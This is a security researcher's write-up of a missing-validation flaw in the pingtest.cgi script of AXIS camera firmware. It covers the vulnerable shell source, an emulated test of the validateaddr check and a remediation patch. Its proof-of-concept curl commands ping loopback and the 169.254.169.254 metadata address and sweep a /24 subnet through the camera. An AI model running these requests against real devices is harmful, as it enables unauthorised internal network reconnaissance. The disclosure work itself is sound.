Zion Boggan

In-depth vulnerability research, detection engineering & applied cryptography.

● Open to security-research & detection roles
GitHub · LinkedIn · Email
← Research notebook
SSRF

Server-Side Request Forgery via pingtest.cgi Missing Address Validation

VRT Category: Insecure OS/Firmware URL/Location: https://<camera>/axis-cgi/pingtest.cgi?ip=127.0.0.1 Firmware: AXIS OS P3245-LV version 11.11.192 (LTS 2024 track) File: /usr/html/axis-cgi/pingtest.cgi (shell script)

Note: This is a distinct vulnerability from any httptest.cgi findings. pingtest.cgi is a separate CGI script with a completely different code path (shell script using busybox ping, vs ELF binary using libcurl). The fix is independent: add a validateaddr call to pingtest.cgi.


Description

The VAPIX API endpoint pingtest.cgi does not validate the user-supplied ip parameter against internal/loopback addresses before executing ping. The functionally identical endpoint tcptest.cgi calls the validateaddr binary for exactly this purpose. This differential omission allows any authenticated user (viewer or higher) to use the camera as a pivot point to ping arbitrary internal network hosts, including localhost, RFC1918 ranges, and link-local metadata endpoints.

Authentication required: Viewer (lowest privilege). The endpoint exists at /axis-cgi/viewer/pingtest.cgi confirming viewer-level access.


Proof of Concept

Step 0: Firmware evidence (source code comparison)

Firmware was extracted from P3245-LV_11_11_192.bin (squashfs, zstd, ARTPEC-7 ARM):

binwalk --run-as=root -e P3245-LV_11_11_192.bin
unsquashfs -d rootfs_extracted rootfs/rootfs.img

Step 1: Source code of pingtest.cgi (VULNERABLE)

Full source at /usr/html/axis-cgi/pingtest.cgi:

#!/bin/sh

# CGI parameters default
# ip=<ip address>
# generate_header=yes|no yes

# Error output to console
[ ! -w /dev/console ] || exec 2>/dev/console

. /usr/html/axis-cgi/lib/functions.sh

# CGI compliant by default
CGI_HDGEN=yes
ip=

if [ "$REQUEST_METHOD" = "POST" ]; then
 if [ "$CONTENT_LENGTH" -gt 0 ]; then
 read -n $CONTENT_LENGTH POST_DATA <&0
 fi
fi

tmp=$(__qs_getparam generate_header)
[ -z "$tmp" ] || CGI_HDGEN=$tmp

# IP address is necessary.
tmp=$(__qs_getparam ip) || {
 __cgi_errhd 400 "IP address missing"
 exit 1
}
if [ -z "$tmp" ]; then
 __cgi_errhd 400 "IP address empty"
 exit 1
else
 ip=$tmp # <-- NO VALIDATION
fi

ip_in_use="got response"
ip_unused="no response"

if ping "$ip" >/dev/null; then # <-- DIRECT USE IN PING
 if [ "$CGI_HDGEN" = yes ]; then
 __cgi_errhd 200 "$ip_in_use"
 else
 echo "$ip_in_use"
 fi
else
 if [ "$CGI_HDGEN" = yes ]; then
 __cgi_errhd 200 "$ip_unused"
 else
 echo "$ip_unused"
 fi
fi

The $ip parameter flows from __qs_getparam ip directly to ping "$ip" with zero validation.

Step 2: Source code of tcptest.cgi (PATCHED – has validation)

Relevant excerpt from /usr/html/axis-cgi/tcptest.cgi showing the validation that pingtest.cgi is missing:

check_host_addr() {
 [ -x "$(command -v validateaddr)" ] || {
 report_status "$cgi_hdgen" 500 "Cannot validate address"
 exit 1
 }
 set +e
 validateaddr $1
 validation_res=$?
 case $validation_res in
 1)
 report_status "$cgi_hdgen" 400 "Invalid localhost address"
 exit 1
 ;;
 2)
 report_status "$cgi_hdgen" 400 "Could not resolve address"
 exit 1
 ;;
 3)
 report_status "$cgi_hdgen" 400 "Error validating address"
 exit 1
 ;;
 esac
 set -e
}

addr__=$(__qs_getparam address) && [ "$addr__" ] || {
 report_status "$cgi_hdgen" 400 "Please specify host name or address"
 exit 1
}

check_host_addr "$addr__" # <-- VALIDATES BEFORE USE

res=$(tcptest 10 "$addr__" "$port__" 2>&1) || {

tcptest.cgi calls validateaddr which returns exit code 1 for localhost addresses, exit code 2 for unresolvable addresses, and exit code 3 for format errors. pingtest.cgi has none of this.

Step 3: Firmware binary execution – validateaddr results

The validateaddr binary was executed directly from the extracted firmware using QEMU user-mode emulation (qemu-arm-static), proving exactly what tcptest.cgi blocks that pingtest.cgi does not:

$ for addr in 127.0.0.1 127.0.0.2 127.0.0.12 127.0.0.255 127.1.1.1 \
 10.0.0.1 172.16.0.1 [ip redacted] 169.254.169.254 0.0.0.0 8.8.8.8; do
 qemu-arm-static -L $ROOTFS $ROOTFS/usr/bin/validateaddr "$addr"
 echo "$addr: exit $?"
 done

127.0.0.1 BLOCKED (exit 1)
127.0.0.2 BLOCKED (exit 1)
127.0.0.12 BLOCKED (exit 1)
127.0.0.255 BLOCKED (exit 1)
127.1.1.1 BLOCKED (exit 1)
10.0.0.1 ALLOWED (exit 0)
172.16.0.1 ALLOWED (exit 0)
[ip redacted] ALLOWED (exit 0)
169.254.169.254 ALLOWED (exit 0)
0.0.0.0 BLOCKED (exit 1)
8.8.8.8 ALLOWED (exit 0)

validateaddr blocks all loopback addresses (127.0.0.0/8) and 0.0.0.0. tcptest.cgi calls this binary. pingtest.cgi does not – so all of the above addresses including every 127.x.x.x are reachable via pingtest.cgi.

Step 4: Exploit – Ping internal addresses

# Ping localhost (should be blocked, isn't)
curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1"
# Expected: "got response" (proves localhost is reachable)

# Ping link-local metadata endpoint (cloud environments)
curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=169.254.169.254"

# Scan a /24 subnet for live hosts
for i in $(seq 1 254); do
 resp=$(curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=10.0.0.$i")
 echo "10.0.0.$i: $resp"
done
# Output: each IP shows "got response" or "no response"

# Confirm internal Apache VHosts are reachable
for addr in 127.0.0.2 127.0.0.3 127.0.0.12; do
 curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=$addr"
done

Step 5: Verify tcptest.cgi blocks the same requests

# tcptest.cgi with localhost -- returns "Invalid localhost address"
curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/tcptest.cgi?address=127.0.0.1&port=80"
# Expected: "Invalid localhost address"

# pingtest.cgi with the SAME address -- no validation, ping succeeds
curl -s --digest -u '<viewer_user>:<viewer_pass>' \
 "https://CAMERA_IP/axis-cgi/pingtest.cgi?ip=127.0.0.1"
# Expected: "got response"

Impact

  • Internal network reconnaissance: Viewer maps the camera’s local network, discovers hosts, identifies infrastructure
  • Cloud metadata exposure: In cloud-hosted camera deployments, 169.254.169.254 may expose instance credentials
  • Internal service discovery: AXIS OS has internal services on 127.0.0.2/3/12; confirming their existence aids further attacks
  • Pivot point: Camera becomes an ICMP scanning tool inside the network perimeter

CVSS

Score: 5.0 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

Scope is Changed because the impact extends beyond the camera to the internal network.


Remediation

Add the check_host_addr function (identical to tcptest.cgi) to pingtest.cgi before the ping command:

# Add after ip=$tmp and before the ping call:
check_host_addr() {
 [ -x "$(command -v validateaddr)" ] || {
 __cgi_errhd 500 "Cannot validate address"
 exit 1
 }
 set +e
 validateaddr $1
 validation_res=$?
 case $validation_res in
 1) __cgi_errhd 400 "Invalid localhost address"; exit 1 ;;
 2) __cgi_errhd 400 "Could not resolve address"; exit 1 ;;
 3) __cgi_errhd 400 "Error validating address"; exit 1 ;;
 esac
 set -e
}

check_host_addr "$ip"

Source · github.com/zionsworking/security-research-notebook · writeups/axis-os/pingtest-ssrf-missing-validateaddr.md